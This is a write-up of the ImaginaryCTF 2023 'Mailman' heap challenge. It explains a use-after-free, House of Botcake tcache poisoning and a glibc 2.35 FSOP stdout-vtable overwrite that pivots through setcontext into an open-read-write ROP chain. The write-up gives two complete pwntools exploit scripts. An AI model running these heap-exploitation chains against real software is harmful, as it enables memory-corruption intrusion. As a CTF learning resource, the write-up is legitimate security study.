# Imaginary CTF 2023: Mailman
This year I played Imaginary and here is the writeup of a challenge I think is quite struggling

```c
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *v3; // rax
int v4; // [rsp+Ch] [rbp-24h] BYREF
size_t size; // [rsp+10h] [rbp-20h] BYREF
__int64 v6; // [rsp+18h] [rbp-18h]
__int64 v7; // [rsp+20h] [rbp-10h]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
v6 = seccomp_init(0LL, argv, envp);
seccomp_rule_add(v6, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v6, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v6, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v6, 2147418112LL, 5LL, 0LL);
seccomp_rule_add(v6, 2147418112LL, 60LL, 0LL);
seccomp_load(v6);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("Welcome to the post office.");
puts("Enter your choice below:");
puts("1. Write a letter");
puts("2. Send a letter");
puts("3. Read a letter");
while ( 1 )
{
while ( 1 )
{
printf("> ");
__isoc99_scanf("%d%*c", &v4);
if ( v4 != 3 )
break;
v7 = inidx();
puts(mem[v7]);
}
if ( v4 > 3 )
break;
if ( v4 == 1 )
{
v7 = inidx();
printf("letter size: ");
__isoc99_scanf("%lu%*c", &size);
v3 = (char *)malloc(size);
mem[v7] = v3;
printf("content: ");
fgets(mem[v7], size, stdin);
}
else
{
if ( v4 != 2 )
break;
v7 = inidx();
free(mem[v7]);
}
}
puts("Invalid choice!");
_exit(0);
}
```
A typical heap note challenge with 3 functions: `create`, `delete`, `view`.
```sh
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
```
Familiar things in heap challenges, where 4 mitigations are enabled.
`Seccomp` is also enabled to make RCE harder, dump it and we can see.
```sh
seccomp-tools dump ./vuln ─╯
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x00000005 if (A == fstat) goto 0010
0009: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
```
Only `open`, `read`, `write` allowed. It's enough to build a ROP chain with these syscalls.
## Looking for a bug
```py
{
if ( v4 != 2 )
break;
v7 = inidx();
free(mem[v7]);
}
}
puts("Invalid choice!");
_exit(0);
}
```
Here, the pointers being freed are not nullified and we can free it unlimited time → `Use-After-Free`
### Getting a leak:
Achieving a leak is super duper ez, here we can see after freeing a chunk.


Libc provided was the 2.35 version, with pointers encoded. To decode it, you can simply shift `chunk->fd` 12 bits left.

With simple calculations, we can find the heap base address.
How about leaking libc?
Simply, by creating a chunk with size larger than the default tcache size, then free it.
But, it doesn't seem to be easy like I said...because:


The `main_arena` address was expected, but no address was found.
When I check the `bins`, lots of freed chunks are there because of seccomp implementation. So I have to make the bins empty, then allocate a chunk with size outside the range of tcache, and a chunk to avoid heap consolidation.

```py
from pwn import *
e = context.binary = ELF("./vuln")
r = e.process()
#r = remote("mailman.chal.imaginaryctf.org", 1337)
libc = ELF("./libc.so.6")
def a(idx: int, size: int, content: bytes):
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(str(idx).encode())
r.recv()
r.sendline(str(size).encode())
r.recv()
r.sendline(content)
def f(idx: int):
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(str(idx).encode())
def v(idx: int):
r.recv()
r.sendline(b'3')
r.recv()
r.sendline(str(idx).encode())
def enc(a: int, b: int):
return p64(a^(b>>12))
gs = """
brva 0x158D
brva 0x15BC
brva 0x1478
"""
gdb.attach(r, gs)
# Use-after-free
# House of botcake
a(0, 0x100, b'A')
f(0)
v(0)
heap = (u64(r.recvuntil(b'\x05')[-5:].ljust(8, b'\0')) << 12) - 0x2000
log.info(f'Heap: {hex(heap)}')
for i in range(16):
a(0, 0x18, b'A')
a(0, 0x68, b'A')
for i in range(9):
a(0, 0x78, b'A')
a(0, 0x420, b'A') # victim
a(1, 0x40, b'A') # chunk avoid consolidation
f(0)
v(0)
libc.address = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) - libc.sym['main_arena'] - 96
log.info(f'Libc: {hex(libc.address)}')
```
### RCE
Due to seccomp, `open-read-write` ROP is inevitable, but where to write
Since `libc 2.34`, some removals have been updated, namely all the hooks and csu gadget.
`__free_hook` and `__malloc_hook` no longer exists, so
At first, I think about leaking stack and overwrite `saved rip`, but when seeing the `add` function again, what is used to receive input is `fgets`, which will add null-byte to the end of our input.
This make leaking stack through overwriting RIP seems no longer possible...
After a while googling, I try to continue with the idea of building ROP chain through overwriting `stdout.vtable and stdout.wide_data`.
So how to do that?
First, I would like to introduce about how to arbitrary allocate a desired address.
With `double-free`, we can use this [House of Botcake](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c).
- Allocating 9 chunks with same size, and a chunk to avoid any consolidation.
- Then free the first 7 chunks to fill tcache
- Free the 9th chunk to put into unsortedbin, which is a victim chunk
- Free the 8th chunk to consolidate with the 8th one. Now we have our unsorted chunk with size 0x741
- After that, we will allocate our selected size before, which libc will reduce the count for 0x3a0 tcache to 6.
- Free the victim again (9th chunk) to put into tcache.
- Allocate a chunk with size 0x738, now we are able to do tcache poisoning.

With tcache poisoning, I choose to overwrite its fd with `_IO_2_1_stdout`.
```py
for i in range(1, 8):
a(i, 0x390, b'A')
a(9, 0x390, b'A')
a(10, 0x390, b'A') # victim
a(11, 0x28, b'A')
for i in range(1, 8):
f(i)
f(10)
f(9)
a(12, 0x390, b'A')
f(10)
a(13, 0x738, b'A' * 0x398 + p64(0x3a1) + enc(libc.sym['_IO_2_1_stdout_'], heap + 0x45a0))
```
Remember to encode `stdout` by this formula:
```py
(arbitrary address ^ (chunk address >> 12))
```
### FSROP
I prefer you to understand about the implementation of FILE stream first before reading my explanation, check [this site](https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique) for understanding the read primitive and write primitive through FSOP.
I will briefly recapitulate the FILE stream
```py
pwndbg> p _IO_2_1_stdout_
$1 = {
file = {
_flags = -72537977,
_IO_read_ptr = 0x7fd87341a803 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7fd87341a803 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7fd87341a803 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7fd87341a803 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7fd87341a803 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7fd87341a803 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7fd87341a803 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7fd87341a804 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7fd873419aa0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7fd87341ba70 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7fd8734199a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7fd873416600 <__GI__IO_file_jumps>
}
pwndbg>
```
This is a complex structure, in which we will focus on something needed for our exploit.
- `flags` will define behaviour of the file stream.
- `chain` will act as a linked list for IO flush, where `_IO_list_all` points to `stserr`, `stderr->chain` points to `stdout`, `stdout->chain` points to `stdin`.
- `fileno` is the number of that file descriptor, that is returned by the `open` syscall.
- `_IO_read_base`, `_IO_write_base`, `_IO_write_end`,... are stream buffers.
- `vtable` is the optimal way to operate on file stream, which makes easier to switch and call necessary functions. An example being `printf` and `puts` both execute syscall `write` with different implementation before.
Thinking for a while, if we can write to stdout and make the flow change, where will be the first place that would have different behavior first?
After writing to `stdout`, we will reach a call to `printf`.
```c
while ( 1 )
{
while ( 1 )
{
printf("> ");
```
Checking the `printf` function and disassembler.
```sh
pwndbg> disass printf
Dump of assembler code for function __printf:
=> 0x00007f61a2460770 <+0>: endbr64
0x00007f61a2460774 <+4>: sub rsp,0xd8
0x00007f61a246077b <+11>: mov r10,rdi
0x00007f61a246077e <+14>: mov QWORD PTR [rsp+0x28],rsi
0x00007f61a2460783 <+19>: mov QWORD PTR [rsp+0x30],rdx
0x00007f61a2460788 <+24>: mov QWORD PTR [rsp+0x38],rcx
0x00007f61a246078d <+29>: mov QWORD PTR [rsp+0x40],r8
0x00007f61a2460792 <+34>: mov QWORD PTR [rsp+0x48],r9
0x00007f61a2460797 <+39>: test al,al
0x00007f61a2460799 <+41>: je 0x7f61a24607d2 <__printf+98>
0x00007f61a246079b <+43>: movaps XMMWORD PTR [rsp+0x50],xmm0
0x00007f61a24607a0 <+48>: movaps XMMWORD PTR [rsp+0x60],xmm1
0x00007f61a24607a5 <+53>: movaps XMMWORD PTR [rsp+0x70],xmm2
0x00007f61a24607aa <+58>: movaps XMMWORD PTR [rsp+0x80],xmm3
0x00007f61a24607b2 <+66>: movaps XMMWORD PTR [rsp+0x90],xmm4
0x00007f61a24607ba <+74>: movaps XMMWORD PTR [rsp+0xa0],xmm5
0x00007f61a24607c2 <+82>: movaps XMMWORD PTR [rsp+0xb0],xmm6
0x00007f61a24607ca <+90>: movaps XMMWORD PTR [rsp+0xc0],xmm7
0x00007f61a24607d2 <+98>: mov rax,QWORD PTR fs:0x28
0x00007f61a24607db <+107>: mov QWORD PTR [rsp+0x18],rax
0x00007f61a24607e0 <+112>: xor eax,eax
0x00007f61a24607e2 <+114>: lea rax,[rsp+0xe0]
0x00007f61a24607ea <+122>: mov rdx,rsp
0x00007f61a24607ed <+125>: xor ecx,ecx
0x00007f61a24607ef <+127>: mov QWORD PTR [rsp+0x8],rax
0x00007f61a24607f4 <+132>: lea rax,[rsp+0x20]
0x00007f61a24607f9 <+137>: mov rsi,r10
0x00007f61a24607fc <+140>: mov QWORD PTR [rsp+0x10],rax
0x00007f61a2460801 <+145>: mov rax,QWORD PTR [rip+0x1b8630] # 0x7f61a2618e38
0x00007f61a2460808 <+152>: mov DWORD PTR [rsp],0x8
0x00007f61a246080f <+159>: mov rdi,QWORD PTR [rax]
0x00007f61a2460812 <+162>: mov DWORD PTR [rsp+0x4],0x30
0x00007f61a246081a <+170>: call 0x7f61a24750b0 <__vfprintf_internal>
0x00007f61a246081f <+175>: mov rdx,QWORD PTR [rsp+0x18]
0x00007f61a2460824 <+180>: sub rdx,QWORD PTR fs:0x28
0x00007f61a246082d <+189>: jne 0x7f61a2460837 <__printf+199>
0x00007f61a246082f <+191>: add rsp,0xd8
0x00007f61a2460836 <+198>: ret
0x00007f61a2460837 <+199>: call 0x7f61a2536720 <__stack_chk_fail>
End of assembler dump.
```
`printf` will call `__vfprintf_internal`

```sh
pwndbg> x/40i 0x7f244bc75180
=> 0x7f244bc75180 <__vfprintf_internal+208>: mov r12,QWORD PTR [rbp+0xd8]
0x7f244bc75187 <__vfprintf_internal+215>: lea rax,[rip+0x1a15da] # 0x7f244be16768
0x7f244bc7518e <__vfprintf_internal+222>: mov rbx,QWORD PTR [rsp+0x68]
0x7f244bc75193 <__vfprintf_internal+227>: lea rcx,[rip+0x1a0866] # 0x7f244be15a00 <_IO_helper_jumps>
0x7f244bc7519a <__vfprintf_internal+234>: sub rax,QWORD PTR [rip+0x1a2677] # 0x7f244be17818
0x7f244bc751a1 <__vfprintf_internal+241>: sub rbx,QWORD PTR [rsp+0x8]
0x7f244bc751a6 <__vfprintf_internal+246>: mov QWORD PTR [rsp+0x30],rax
0x7f244bc751ab <__vfprintf_internal+251>: mov rdi,rax
0x7f244bc751ae <__vfprintf_internal+254>: mov rax,r12
0x7f244bc751b1 <__vfprintf_internal+257>: sub rax,rcx
0x7f244bc751b4 <__vfprintf_internal+260>: cmp rdi,rax
0x7f244bc751b7 <__vfprintf_internal+263>: jbe 0x7f244bc76a50 <__vfprintf_internal+6560>
0x7f244bc751bd <__vfprintf_internal+269>: mov rsi,QWORD PTR [rsp+0x8]
0x7f244bc751c2 <__vfprintf_internal+274>: mov rdx,rbx
0x7f244bc751c5 <__vfprintf_internal+277>: mov rdi,rbp
0x7f244bc751c8 <__vfprintf_internal+280>: call QWORD PTR [r12+0x38]
0x7f244bc751cd <__vfprintf_internal+285>: cmp rbx,rax
0x7f244bc751d0 <__vfprintf_internal+288>: jne 0x7f244bc767a8 <__vfprintf_internal+5880>
0x7f244bc751d6 <__vfprintf_internal+294>: movsxd rdx,ebx
0x7f244bc751d9 <__vfprintf_internal+297>: mov rax,rbx
0x7f244bc751dc <__vfprintf_internal+300>: mov r12d,ebx
0x7f244bc751df <__vfprintf_internal+303>: shr rax,0x3f
0x7f244bc751e3 <__vfprintf_internal+307>: cmp rbx,rdx
0x7f244bc751e6 <__vfprintf_internal+310>: mov edx,0x1
0x7f244bc751eb <__vfprintf_internal+315>: cmovne eax,edx
0x7f244bc751ee <__vfprintf_internal+318>: test eax,eax
```
`rbp` points to `stdout`, and `[rbp + 0xd8]` is the address of `vtable`, and in the disassembler
```sh
0x7f244bc751c8 <__vfprintf_internal+280>: call QWORD PTR [r12+0x38]
```
Based on the address of `vtable`, it will call the function with offset 0x38 bytes after the vtable.
So what happened if we try to overwrite `vtable` with another address that we want to redirect?
Everything will change, but some checks must be bypassed.
```c
#ifdef ORIENT
/* Check for correct orientation. */
if (_IO_vtable_offset (s) == 0
&& _IO_fwide (s, sizeof (CHAR_T) == 1 ? -1 : 1)
!= (sizeof (CHAR_T) == 1 ? -1 : 1))
/* The stream is already oriented otherwise. */
return EOF;
#endif
if (UNBUFFERED_P (s))
/* Use a helper function which will allocate a local temporary buffer
for the stream and then call us again. */
return buffered_vfprintf (s, format, ap, mode_flags);
```
We have to bypass the `vtable` check, which needs to be in an allowed offset in `libc`.
I found an extremely useful [blog](https://niftic.ca/posts/fsop/) which has a variety for write primitives in `FILE stream`.
So, I will choose to overwrite `stdout->vtable` to this address.


`_IO_wfile_overflow` -> `_IO_wdoallocbuf`
```c
406 _IO_wfile_overflow (FILE *f, wint_t wch)
407 {
408 if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
409 {
410 f->_flags |= _IO_ERR_SEEN;
411 __set_errno (EBADF);
412 return WEOF;
413 }
414 /* If currently reading or no buffer allocated. */
415 if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
416 {
417 /* Allocate a buffer if needed. */
418 if (f->_wide_data->_IO_write_base == 0)
419 {
420 _IO_wdoallocbuf (f);
```
In `_IO_wdoallocbuf`, what we need is here:
```c
363 void
364 _IO_wdoallocbuf (FILE *fp)
365 {
366 if (fp->_wide_data->_IO_buf_base)
367 return;
368 if (!(fp->_flags & _IO_UNBUFFERED))
369 if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) // in __GI_IO_wdoallocbuf +36 and +43
370 return;
371 _IO_wsetb (fp, fp->_wide_data->_shortbuf,
372 fp->_wide_data->_shortbuf + 1, 0);
373 }
374 libc_hidden_def (_IO_wdoallocbuf)
```
```sh
Dump of assembler code for function __GI__IO_wdoallocbuf:
=> 0x00007f244bc83bf0 <+0>: endbr64
0x00007f244bc83bf4 <+4>: mov rax,QWORD PTR [rdi+0xa0]
0x00007f244bc83bfb <+11>: cmp QWORD PTR [rax+0x30],0x0
0x00007f244bc83c00 <+16>: je 0x7f244bc83c08 <__GI__IO_wdoallocbuf+24>
0x00007f244bc83c02 <+18>: ret
0x00007f244bc83c03 <+19>: nop DWORD PTR [rax+rax*1+0x0]
0x00007f244bc83c08 <+24>: push r12
0x00007f244bc83c0a <+26>: push rbp
0x00007f244bc83c0b <+27>: push rbx
0x00007f244bc83c0c <+28>: mov rbx,rdi
0x00007f244bc83c0f <+31>: test BYTE PTR [rdi],0x2
0x00007f244bc83c12 <+34>: jne 0x7f244bc83c88 <__GI__IO_wdoallocbuf+152>
0x00007f244bc83c14 <+36>: mov rax,QWORD PTR [rax+0xe0]
0x00007f244bc83c1b <+43>: call QWORD PTR [rax+0x68]
```
Dive deeper, we will analyze the disassembler combined with the source code.
```sh
=> 0x00007f244bc83bf0 <+0>: endbr64
0x00007f244bc83bf4 <+4>: mov rax,QWORD PTR [rdi+0xa0]
```
`rdi` points to `stdout`, `[rdi + 0xa0]` is the address of `stdout->_IO_wide_data`.
```c
if (fp->_wide_data->_IO_buf_base)
367 return;
368 if (!(fp->_flags & _IO_UNBUFFERED))
369 if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
```
Conclusively, here is what we need to do:
```
stdout->_flags = 0 (or any value that is acceptable)
stdout->_IO_wide_data = address of a heap chunk ()
stdout->_IO_wide_data->_IO_write_base = 0
stdout->_IO_wide_data->_IO_buf_base = 0
```
After reaching here, set `[_IO_wide_data + 0xe0]->_chain` to `setcontext` or whatever to continue our ROP chain.
Fortunately, `setcontext` use the address of `rdx`, and we also have `rdx` points to `stdout->_IO_wide_data`.

If you hadn't heard about `setcontext` trick, I recommend you view [this blog](https://lkmidas.github.io/posts/20210103-heap-seccomp-rop/)
**Final script:**
```py
from pwn import *
e = context.binary = ELF("./vuln")
r = e.process()
#r = remote("mailman.chal.imaginaryctf.org", 1337)
libc = ELF("./libc.so.6")
def a(idx: int, size: int, content: bytes):
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(str(idx).encode())
r.recv()
r.sendline(str(size).encode())
r.recv()
r.sendline(content)
def f(idx: int):
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(str(idx).encode())
def v(idx: int):
r.recv()
r.sendline(b'3')
r.recv()
r.sendline(str(idx).encode())
def enc(a: int, b: int):
return p64(a^(b>>12))
gs = """
brva 0x158D
brva 0x15BC
brva 0x1478
"""
gdb.attach(r, gs)
# Use-after-free
# House of botcake
a(0, 0x100, b'A')
f(0)
v(0)
heap = (u64(r.recvuntil(b'\x05')[-5:].ljust(8, b'\0')) << 12) - 0x2000
pause()
log.info(f'Heap: {hex(heap)}')
for i in range(16):
a(0, 0x18, b'A')
a(0, 0x68, b'A')
for i in range(9):
a(0, 0x78, b'A')
a(0, 0x420, b'A')
a(1, 0x40, b'A')
f(0)
v(0)
libc.address = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) - libc.sym['main_arena'] - 96
log.info(f'Libc: {hex(libc.address)}')
pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x000000000002be51
pop_rdx_rbx = libc.address + 0x0000000000090529
pop_rax = libc.address + 0x0000000000045eb0
syscall_ret = libc.address + 0x127179
xchg_eax_edi = libc.address + 0x000000000014a385
setcontext = libc.sym['setcontext'] + 61
a(1, 0x420, b'A')
for i in range(1, 8):
a(i, 0x390, b'A')
a(9, 0x390, b'A')
a(10, 0x390, b'A') # victim
a(11, 0x28, b'A')
for i in range(1, 8):
f(i)
f(10)
f(9)
a(12, 0x390, b'A')
f(10)
a(13, 0x738, b'A' * 0x398 + p64(0x3a1) + enc(libc.sym['_IO_2_1_stdout_'], heap + 0x45a0))
# overwrite _IO_2_1_stdout.vtable so that it calls _IO_wfile_overflow -> _IO_wdoallocbuf -> setcontext -> ROP
payload = b'\0' * 0x68
payload += p64(setcontext)
payload = payload.ljust(0xa0, b'\0')
payload += p64(heap + 0x4690)
payload += p64(pop_rdi + 1)
payload = payload.ljust(0xe0, b'\0')
payload += p64(heap + 0x45a0)
payload += p64(pop_rdi + 1)
payload += p64(pop_rdi)
payload += p64(heap + 0x4760)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx_rbx)
payload += p64(0) + p64(0)
payload += p64(pop_rax)
payload += p64(2)
payload += p64(syscall_ret)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(xchg_eax_edi)
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(heap + 0x1000)
payload += p64(pop_rdx_rbx)
payload += p64(0x100) + p64(0)
payload += p64(syscall_ret)
payload += p64(pop_rdi)
payload += p64(2)
payload += p64(pop_rax)
payload += p64(1)
payload += p64(syscall_ret)
payload += b'./flag.txt\0'
a(0, 0x398, payload)
stdout = libc.sym['_IO_2_1_stdout_']
stdin = libc.sym['_IO_2_1_stdin_']
fp = p64(0)
fp += p64(stdout + 131) * 7
fp += p64(stdout + 132)
fp += p64(0) * 4
fp += p64(stdin)
fp += p64(0x1) + p64(0xffffffffffffffff)
fp += p64(0x000000000000000) + p64(libc.address + 0x21ba70)
fp += p64(0xffffffffffffffff) + p64(0)
fp += p64(heap + 0x45a0) # set _IO_wide_data of stdout in order to bypass _IO_wfile_overflow check
fp += p64(0) * 3 + p64(0x00000000ffffffff)
fp += p64(0) * 2
fp += p64(libc.sym['_IO_wfile_jumps_mmap'] + 24 - 0x38) # fake vtable
pause()
a(1, 0x398, fp)
r.interactive()
```
### Another solution
Get back to my first silly idea to leak stack, after submitting flag, I noticed that we can use FSOP to leak stack.
What we can do to leak stack will be further elaborated here
```sh
_flags = 0xfbad1800
_IO_read_end = _IO_read_ptr = _IO_read_base = NULL
_IO_write_base = environ
_IO_write_ptr = environ + 8
```
Equivalent to
```c
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
```
```c
write(1, environ, _IO_write_ptr - IO_write_base)
```
After having stack, building ROP chain is a trouble-free work.
**Script:**
```py
from pwn import *
e = context.binary = ELF("./vuln")
#r = e.process()
r = remote("mailman.chal.imaginaryctf.org", 1337)
libc = ELF("./libc.so.6")
def a(idx: int, size: int, content: bytes):
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(str(idx).encode())
r.recv()
r.sendline(str(size).encode())
r.recv()
r.sendline(content)
def f(idx: int):
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(str(idx).encode())
def v(idx: int):
r.recv()
r.sendline(b'3')
r.recv()
r.sendline(str(idx).encode())
def enc(a: int, b: int):
return p64(a^(b>>12))
gs = """
brva 0x158D
brva 0x15BC
brva 0x1478
b*main+573
"""
#gdb.attach(r, gs)
# Use-after-free
# House of botcake
a(0, 0x100, b'A')
f(0)
v(0)
heap = (u64(r.recvuntil(b'\x05')[-5:].ljust(8, b'\0')) << 12) - 0x2000
#pause()
log.info(f'Heap: {hex(heap)}')
for i in range(16):
a(0, 0x18, b'A')
a(0, 0x68, b'A')
for i in range(9):
a(0, 0x78, b'A')
a(0, 0x420, b'A')
a(1, 0x40, b'A')
f(0)
v(0)
libc.address = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) - libc.sym['main_arena'] - 96
log.info(f'Libc: {hex(libc.address)}')
pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x000000000002be51
pop_rdx_rbx = libc.address + 0x0000000000090529
pop_rax = libc.address + 0x0000000000045eb0
syscall = libc.address + 0x127179
xchg_eax_edi = libc.address + 0x000000000014a385
setcontext = libc.sym['setcontext'] + 61
a(1, 0x420, b'A')
for i in range(1, 8):
a(i, 0x390, b'A')
a(9, 0x390, b'A')
a(10, 0x390, b'A') # victim
a(11, 0x28, b'A')
for i in range(1, 8):
f(i)
f(10)
f(9)
a(12, 0x390, b'A')
f(10)
a(13, 0x738, b'A' * 0x398 + p64(0x3a1) + enc(libc.sym['_IO_2_1_stdout_'], heap + 0x45a0))
# overwrite _IO_2_1_stdout.vtable so that it calls _IO_wfile_overflow -> _IO_wdoallocbuf -> setcontext -> ROP
a(1, 0x390, b'A')
payload = p64(0xfbad1800) # _flags
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(libc.sym['environ']) #_IO_write_base
payload += p64(libc.sym['environ'] + 8) # _IO_write_ptr
a(2, 0x390, payload)
stack = u64(r.recvuntil(b'\x7f')[-6:] + b'\0' * 2)
log.info(f'Stack: {hex(stack)}')
for i in range(10):
a(i, 0x300, b'A')
for i in range(7):
f(i)
f(8)
f(7)
a(9, 0x300, b'A')
#pause()
f(8)
rbp = stack - 0x168 - 0x20
a(10, 0x618, b'\0' * 0x308 + p64(0x311) + enc(rbp, heap + 0x61f0))
pause()
a(11, 0x308, b'A')
#pause()
payload = p64(0) * 5
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(heap + 0x15000)
payload += p64(pop_rdx_rbx) + p64(0x100) + p64(0)
payload += p64(libc.sym['read']) # read(0, heap + 0x15000, 0x100) write flag to this
payload += p64(pop_rdi)
payload += p64(heap + 0x15000)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(2)
payload += p64(syscall) # open('./flag.txt', O_RDONLY)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(xchg_eax_edi)
payload += p64(pop_rsi)
payload += p64(heap + 0x16000)
payload += p64(pop_rdx_rbx)
payload += p64(0x100) + p64(0)
payload += p64(syscall) # read(flag_fd, heap + 0x16000, 0x100)
payload += p64(pop_rdi)
payload += p64(heap + 0x16000)
payload += p64(libc.sym.puts) # puts(heap + 0x16000)
a(12, 0x308, payload)
sleep(1)
r.send(b'./flag.txt\0')
r.interactive()
```
A heap challenge with ORW and lots of things to learn. FSOP is too complex to understand and hope that I will have a chance to find out more path with this technique.